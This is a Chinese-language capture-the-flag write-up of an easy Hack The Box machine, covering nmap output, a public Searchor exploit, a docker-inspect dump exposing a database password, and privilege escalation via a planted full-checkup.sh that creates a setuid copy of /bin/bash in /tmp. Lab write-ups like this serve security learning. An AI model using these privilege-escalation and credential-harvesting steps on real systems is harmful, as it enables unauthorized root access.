Nmap
──(nemo㉿nemo)-[~/OSCP_HTB]
└─$ sudo nmap -T4 -A -v 10.10.11.208
[sudo] nemo 的密码:
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-title: Searcher
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
[...]
发现22和80端口,毕竟是easy难度的靶机。


根据我打htb靶机的经验,去google搜searchor 2.4.0这个框架的时候恰好就找到有漏洞了,然后在github上找poc就行。

本地kali监听一下端口,注意这个exploit.sh默认的端口就是9001



这里是第一个flag。
Privilege Escalation
一开始用linpeas扫了一下但是没看到什么值得注意的。
这个靶机的提权其实很奇怪,一步接着一步的。

这里的密码,是sudo -l用的

然后这里就是解题关键了。
简单看一下这就是一个脚本,cat看不了,运行需要加个东西,我随便写的123


可以看到有两个容器在跑
python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea|jq
{
[...]
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
这个密码很明显是数据库的,登录进数据库之后,查询到user表,是sha512加盐的加密密码,不是很能解的出来,user表里有cody和administrator账户,经过验证,administrator复用了这个密码。

复用的密码就是这个网站,添加进kali本地/etc/hosts里面就能看到了

分析这个脚本的代码

重点在这,这里是在本地运行一个full-checkup.sh脚本,但是没有的话,运行system-checkup.py就会报错,之前可以发现。然后就是可以本地创建一个此脚本。
#!/bin/bash
cp /bin/bash /tmp/shabi
chmod 4777 /tmp/shabi
然后chmod +x full-checkup.sh,运行system-checkup.py以及避免降权


root的flag在/root/root.txt里面